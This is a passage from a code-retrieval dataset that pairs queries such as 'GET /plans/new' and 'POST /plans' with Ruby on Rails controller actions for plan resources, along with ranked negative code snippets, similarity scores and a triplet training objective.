"def show\n @socialize_plan = SocializePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @socialize_plan }\n format.json { render :json => @socialize_plan }\n end\n end",
"def index\n @calls = Call.all\n @plans = Plan.all\n end",
"def index\n @plan = Plan.new\n @incident = Incident.find(params[:incident_id])\n @plans = Plan.where(incident_id: @incident.id).order(date: :desc)\n end",
"def new\n @plantype = Plantype.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype }\n end\n end",
"def index\n @media_plans = MediaPlan.all\n end",
"def index\n authorize Plan\n @plans = Plan.includes(:roles).active(current_user).page(1)\n @organisationally_or_publicly_visible = if current_user.org.is_other?\n []\n else\n Plan.organisationally_or_publicly_visible(current_user).page(1)\n end\n # TODO: Is this still used? We cannot switch this to use the :plan_params\n # strong params because any calls that do not include `plan` in the\n # query string will fail\n @template = Template.find(params[:plan][:template_id]) if params[:plan].present?\n end",
"def show\n render json: @care_plan\n end",
"def index\n @plan_milestones = PlanMilestone.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plan_milestones }\n end\n end",
"def set_plan\n return unless json_request?\n @plan = current_user.plans.find_by_ident(params[:id])\n return render json: { status: 'failed', alert: '此计划不存在' } unless @plan\n end",
"def show\n set_client_profile(@goal)\n @plans = @goal.plans\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n\n @needs = @goal.needs\n end",
"def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def plan(accountname)\n response = get_request(\"/users/#{accountname}/plan\")\n end",
"def plan(accountname)\n response = get_request(\"/users/#{accountname}/plan\")\n end",
"def show\n #@detail = Detail.find(params[:id])\n @plan = Plan.find(params[:plan_id])\n @detail = @plan.details.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @detail }\n end\n end",
"def new\r\n @general_plan = GeneralPlan.new\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @general_plan }\r\n end\r\n end",
"def index\n @inventory_plans = InventoryPlan.all\n end",
"def index\n @meal_plans = MealPlan.all\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @floor_plan }\n end\n end",
"def get_plansbyid\n if session[:plansbyid]\n @plansbyid = JSON.parse(decompress_hash(session[:plansbyid])).deep_symbolize_keys\n @locationsbyid = JSON.parse(decompress_hash(session[:locationsbyid])).deep_symbolize_keys\n @cp_options = decompress_hash(session[:cp_options])\n @search = session[:query]\n else\n puts \"get_plansbyid: session[:plansbyid] is #{session[:plansbyid]}, calling coverage_plans \"\n coverage_plans\n end\n end",
"def index\n @operative_plans = OperativePlan.all\n end",
"def index\n @local_plans = LocalPlan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @local_plans }\n end\n end"
] |
[
"0.80668986",
"0.80299073",
"0.7866424",
"0.7828984",
"0.75015014",
"0.75013804",
"0.747925",
"0.7453174",
"0.7453174",
"0.7383227",
"0.7175319",
"0.715803",
"0.7094077",
"0.708701",
"0.7042046",
"0.7042046",
"0.70326114",
"0.701462",
"0.70041215",
"0.6973513",
"0.69346154",
"0.69321084",
"0.691935",
"0.68979466",
"0.6877953",
"0.6874199",
"0.68321055",
"0.682522",
"0.6818409",
"0.68076956",
"0.67994237",
"0.67919785",
"0.67841023",
"0.6755746",
"0.67377776",
"0.6725547",
"0.67249066",
"0.6703609",
"0.66978747",
"0.66640675",
"0.665807",
"0.66578716",
"0.6655156",
"0.66446376",
"0.6643058",
"0.6630782",
"0.66133434",
"0.6609679",
"0.6582345",
"0.6577065",
"0.6577065",
"0.6577065",
"0.6574709",
"0.65615237",
"0.6559246",
"0.6535835",
"0.65232044",
"0.6509835",
"0.65062416",
"0.65012574",
"0.64883375",
"0.64883375",
"0.648734",
"0.64652574",
"0.64585686",
"0.6445684",
"0.6441603",
"0.6440391",
"0.64306635",
"0.6429921",
"0.64111656",
"0.6410999",
"0.637641",
"0.6360542",
"0.6357967",
"0.63575935",
"0.63528764",
"0.63490605",
"0.6344053",
"0.63407016",
"0.6331406",
"0.6327031",
"0.63264835",
"0.6324274",
"0.6322388",
"0.63182336",
"0.6317571",
"0.62925255",
"0.6291607",
"0.6291136",
"0.6288957",
"0.6288957",
"0.62849456",
"0.62758535",
"0.62686116",
"0.6258691",
"0.6239971",
"0.62396616",
"0.62383187",
"0.623517"
] |
0.6676116
|
39
|
GET /plans/new GET /plans/new.json
|
def new
@plan = Plan.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @plan }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @plantype = Plantype.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype }\n end\n end",
"def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_plan }\n end\n end",
"def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n end",
"def new\r\n @general_plan = GeneralPlan.new\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @general_plan }\r\n end\r\n end",
"def new\n @sslplan = Sslplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sslplan }\n end\n end",
"def new\n @klassplan = Klassplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @klassplan }\n end\n end",
"def new\n @work_plan = WorkPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work_plan }\n end\n end",
"def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plan }\n end\n end",
"def new\n @plan = Plan.new\nend",
"def new\r\n @work_plan = WorkPlan.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @work_plan }\r\n end\r\n end",
"def new\n @plan_setting = PlanSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_setting }\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def new\n @planner = Planner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planner }\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def new\n @plantype_strategy = PlantypeStrategy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype_strategy }\n end\n end",
"def new\n @plan_milestone = PlanMilestone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_milestone }\n end\n end",
"def new\n @plannegocio = Plannegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plannegocio }\n end\n end",
"def new\n @lunchplan = Lunchplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lunchplan }\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @project_procurement_management_plan = current_user.project_procurement_management_plans.build\n 1.times { @project_procurement_management_plan.projects.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_procurement_management_plan }\n end\n end",
"def new\n @single_plan = SinglePlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @single_plan }\n end\n end",
"def new\n @local_plan = LocalPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @local_plan }\n end\n end",
"def new\n @planned_time = PlannedTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planned_time }\n end\n end",
"def create\n @panel_plan = Panel::Plan.new(params[:panel_plan])\n\n respond_to do |format|\n if @panel_plan.save\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully created.') }\n format.json { render :json => @panel_plan, :status => :created, :location => @panel_plan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @exercise_plan = ExercisePlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_plan }\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan creado exitosamente.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n plan = Plan.new\n authorize plan\n\n # If the template_id is blank then we need to look up the available templates and\n # return JSON\n if plan_params[:template_id].blank?\n # Something went wrong there should always be a template id\n respond_to do |format|\n flash[:alert] = _('Unable to identify a suitable template for your plan.')\n format.html { redirect_to new_plan_path }\n end\n else\n\n puts plan_params.inspect\n\n @plan = create_plan(plan: plan, params: plan_params)\n\n if @plan.is_a?(Plan)\n default = Template.default\n\n msg = \"#{success_message(@plan, _('created'))}<br />\"\n\n if !default.nil? && default == @plan.template\n # We used the generic/default template\n msg += \" #{_('This plan is based on the default template.')}\"\n\n elsif !@plan.template.customization_of.nil?\n # We used a customized version of the the funder template\n # rubocop:disable Layout/LineLength\n msg += \" #{_('This plan is based on the')} #{@plan.funder&.name}: '#{@plan.template.title}' #{_('template with customisations by the')} #{@plan.template.org.name}\"\n # rubocop:enable Layout/LineLength\n else\n # We used the specified org's or funder's template\n msg += \" #{_('This plan is based on the')} #{@plan.template.org.name}: '#{@plan.template.title}' template.\"\n end\n\n respond_to do |format|\n flash[:notice] = msg\n format.html { redirect_to plan_path(@plan) }\n end\n else\n # Something went wrong so report the issue to the user\n respond_to do |format|\n flash[:alert] = failure_message(plan, _('create'))\n format.html { redirect_to new_plan_path }\n end\n end\n end\n end",
"def new\n @planned_order = PlannedOrder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @planned_order }\n end\n end",
"def new\n @backend_planet = Backend::Planet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @backend_planet }\n end\n end",
"def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end",
"def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_plan }\n end\n end",
"def new\n @plan = Plan.new\n authorize @plan\n end",
"def new\n\t# instantiate a model object\n @planitem = Planitem.new\n\n\t# Try to find the sprint from the URL param.\n\t# If one doesn't exist, we can't really\n\t# proceed because we don't know which quarter\n\t# to pull sprints from\n\tbegin\n\t\t@sprint = Sprint.find(params[:sprint])\n\t\t@sprints = Sprint.where(:quarter_id => @sprint.quarter.id)\n\t\t@planitem.sprint = @sprint\n\trescue ActiveRecord::RecordNotFound\n\t\t# We can't find the sprint, so get out quickly\n\t\tredirect_to quarters_path, :notice => \"Please choose a plan first.\"\n\t\treturn\n\tend\n\n\t# load up the teams for the select options\n\t@teams = Team.order(:name)\n\t# load up the initiatives for the select options\n\t@initiatives = Initiative.where(:quarter_id => @sprint.quarter_id)\n\n\t# Try to find the team from the URL param.\n\t# If one doesn't exist, that's ok, the user\n\t# can pick one from the list of teams.\n\tbegin\n\t\t@team = Team.find(params[:team])\n\t\t@planitem.team = @team\n\trescue ActiveRecord::RecordNotFound\n\t\t# If we can't find a team, no big deal\n\tend\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planitem }\n end\n end",
"def new\n @dairy_plan = DairyPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dairy_plan }\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n respond_to do |format|\n if @plan.save\n # expire_fragment(\"plans\")\n expire_action :action => 'index'\n UserMailer.create_plan(current_user, @plan).deliver\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @plan = Plan.new(plan_params)\r\n respond_to do |format|\r\n if @plan.save\r\n set_plans_grid\r\n format.html { redirect_to redirect_url, notice: t('activerecord.success.messages.created', model: Plan.model_name.human) }\r\n format.js\r\n else\r\n format.html { render :new }\r\n format.js { render :new }\r\n end\r\n end\r\n end",
"def new\n @trial = Trial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trial }\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n\n respond_to do |format|\n if @plan.save\n flash[:notice] = 'Plan was successfully created.'\n format.html { redirect_to(@plan) }\n format.xml { render :xml => @plan, :status => :created, :location => @plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @planning_time = PlanningTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planning_time }\n end\n end",
"def new\n @billing_plan = BillingPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @billing_plan }\n end\n end",
"def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @payment_plan = PaymentPlans.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @payment_plan }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def create\n @plan = Plan.new(params[:plan])\n \n respond_to do |format|\n if @plan.save\n flash[:notice] = \"Plan successfully submitted.\"\n format.html { redirect_to :back }\n format.mobile { redirect_to :back }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n #@detail = Detail.new\n @plan = Plan.find(params[:plan_id])\n @detail = @plan.details.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @detail }\n end\n end",
"def new\n @ecommerceplan = Ecommerceplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ecommerceplan }\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.user = current_user\n respond_to do |format|\n if @plan.save\n format.html { redirect_to profile_path, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plan }\n format.mobile\n end\n end",
"def new\n @pricing_plan = PricingPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pricing_plan }\n end\n end",
"def new\n @service_plan = ServicePlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_plan }\n end\n end",
"def create\r\n @general_plan = GeneralPlan.new(params[:general_plan])\r\n\r\n respond_to do |format|\r\n if @general_plan.save\r\n format.html { redirect_to @general_plan, notice: 'General plan was successfully created.' }\r\n format.json { render json: @general_plan, status: :created, location: @general_plan }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @general_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def new_link\n @project = Project.new(user_id: current_user.id)\n fetch_projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @plan_de_ventum = PlanDeVentum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_de_ventum }\n end\n end",
"def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end",
"def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end",
"def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end",
"def create\n @site_plan = @product.site_plans.new(site_plan_params)\n\n respond_to do |format|\n if @site_plan.save\n format.html { redirect_to \"#{product_path(@product)}/#site_plan-tab\", notice: 'Site plan was successfully created.' }\n format.json { render json: @site_plan, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @site_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def create_new_plans\n plan_ids = Plan.all.map(&:plan_id)\n cb_plans.reject { |cb_plan| plan_ids.include?(cb_plan.id) }\n .each { |new_plan| puts \"Creating Plan - #{new_plan.id}\"; Plan.create(plan_params(new_plan)) }\n end",
"def new\n @provider = current_company.providers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def create\n @plantype = Plantype.new(params[:plantype])\n\n respond_to do |format|\n if @plantype.save\n format.html { redirect_to @plantype, notice: 'Plantype was successfully created.' }\n format.json { render json: @plantype, status: :created, location: @plantype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.add_ident\n @plan.user_id = current_user.id\n unless @plan.save\n render json: {status: 'failed', message: '创建失败,请稍后重试 !'}\n end\n end",
"def index\n @plans = Plan.all\n\n render json: @plans\n end",
"def new\n if params[:id]\n @plan_setting=PlanSetting.find(params[:id])\n end\n\n @plan = Plan.new\n puts \"@plan_setting.id=#{@plan_setting.id}\"\n @plan.update_attributes(:system=>@plan_setting.system,:branch=>@plan_setting.branch,:fa=>@plan_setting.fa,:plansetting=>@plan_setting.id)\n \n respond_to do |format|\n format.html { redirect_to :action=>\"edit\",:id=>@plan.id,notice: 'Plan was successfully created.' }\n format.json { render json: @plan }\n end\n end",
"def new\n @past_project = PastProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @past_project }\n end\n end",
"def new\n add_breadcrumb :new\n @visit = Visit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit }\n end\n end",
"def new\n get_projects\n\n\n @breadcrumb = 'create'\n @billable_item = BillableItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @billable_item }\n end\n end",
"def create # rubocop:disable Metrics/AbcSize\n attrs = params.require(plan_type).permit(CREATE_PARAMS)\n @plan = collection.build(attrs)\n\n if plan.save\n if block_given?\n yield\n else\n plan.reload\n\n respond_to do |format|\n format.html do\n flash[:notice] = \"Created #{plan.class.model_name.human} #{plan.name}\"\n # collection.build to create new record to properly generate path to index action (rails)\n redirect_to plans_index_path\n end\n end\n end\n\n else\n render :new\n end\n end",
"def new\n plan_code = params[:plan_code] || 'monthly'\n signature = Recurly.js.sign(subscription: { plan_code: plan_code })\n options = default_options.merge \\\n success_url: company_subscriptions_url,\n signature: signature\n\n render json: options\n end",
"def new\n @approval = Approval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @approval }\n end\n end",
"def plans(params = {})\n scope 'default'\n get('plans/', params)\n end",
"def create\n @sslplan = Sslplan.new(params[:sslplan])\n\n respond_to do |format|\n if @sslplan.save\n format.html { redirect_to @sslplan, :notice => 'Sslplan was successfully created.' }\n format.json { render :json => @sslplan, :status => :created, :location => @sslplan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sslplan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @account = Account.new\n @account.memberships.build.build_user\n @plans = Plan.all\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end"
] |
[
"0.77204925",
"0.763047",
"0.75800633",
"0.7458137",
"0.7445357",
"0.74205977",
"0.7374848",
"0.735784",
"0.73191124",
"0.7316831",
"0.729417",
"0.72682375",
"0.7251034",
"0.7231949",
"0.72115386",
"0.7203763",
"0.7140014",
"0.7132095",
"0.71313137",
"0.7099442",
"0.7099442",
"0.7084362",
"0.7049268",
"0.7017611",
"0.70123297",
"0.6985014",
"0.69702476",
"0.69686234",
"0.69685423",
"0.69142383",
"0.6889549",
"0.68760157",
"0.68480444",
"0.68452805",
"0.6836722",
"0.6810404",
"0.6792116",
"0.6788914",
"0.67865866",
"0.67810595",
"0.6762367",
"0.67597055",
"0.675248",
"0.6750361",
"0.6748794",
"0.67467284",
"0.6743979",
"0.6743841",
"0.6743701",
"0.6741023",
"0.673408",
"0.67311233",
"0.6727048",
"0.671086",
"0.67015684",
"0.66930896",
"0.66930896",
"0.66930896",
"0.6671029",
"0.6670583",
"0.6670583",
"0.66697204",
"0.665005",
"0.66399807",
"0.6639052",
"0.66206163",
"0.66173625",
"0.6610372",
"0.6608509",
"0.66085017",
"0.6596582",
"0.6590013",
"0.65873146",
"0.6585895",
"0.65770185",
"0.6576003",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064",
"0.6571064"
] |
0.8117777
|
1
|
POST /plans POST /plans.json
|
def create
@plan = Plan.new(params[:plan])
@plan.user = current_user
@plan.request = Request.find( params[:request_id] )
respond_to do |format|
if @plan.save
@plan.request.days.times do |day|
@plan.plan_days << PlanDay.create( { plan_id: @plan.id, day: day+1 } )
end
format.html { redirect_to @plan, notice: 'Plan was successfully created.' }
format.json { render json: @plan, status: :created, location: @plan }
else
format.html { render action: "new" }
format.json { render json: @plan.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @plans = Plan.all\n\n render json: @plans\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan creado exitosamente.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.user = current_user\n respond_to do |format|\n if @plan.save\n format.html { redirect_to profile_path, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plans(params = {})\n scope 'default'\n get('plans/', params)\n end",
"def create\n @plan = Plan.new(params[:plan])\n \n respond_to do |format|\n if @plan.save\n flash[:notice] = \"Plan successfully submitted.\"\n format.html { redirect_to :back }\n format.mobile { redirect_to :back }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.add_ident\n @plan.user_id = current_user.id\n unless @plan.save\n render json: {status: 'failed', message: '创建失败,请稍后重试 !'}\n end\n end",
"def create\n @panel_plan = Panel::Plan.new(params[:panel_plan])\n\n respond_to do |format|\n if @panel_plan.save\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully created.') }\n format.json { render :json => @panel_plan, :status => :created, :location => @panel_plan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def plans=(value)\n @plans = value\n end",
"def create\n @plan = Plan.create(plan_params)\n @incident = Incident.find(params[:incident_id])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to incident_plan_path(@incident, @plan) }\n format.json { redirect_to incident_plan_path(@incident, @plan) }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n\n respond_to do |format|\n if @plan.save\n flash[:notice] = 'Plan was successfully created.'\n format.html { redirect_to(@plan) }\n format.xml { render :xml => @plan, :status => :created, :location => @plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:title, :body, :is_pending, :team_ids, :plan_status, :user_id, team_ids: [])\n end",
"def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end",
"def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end",
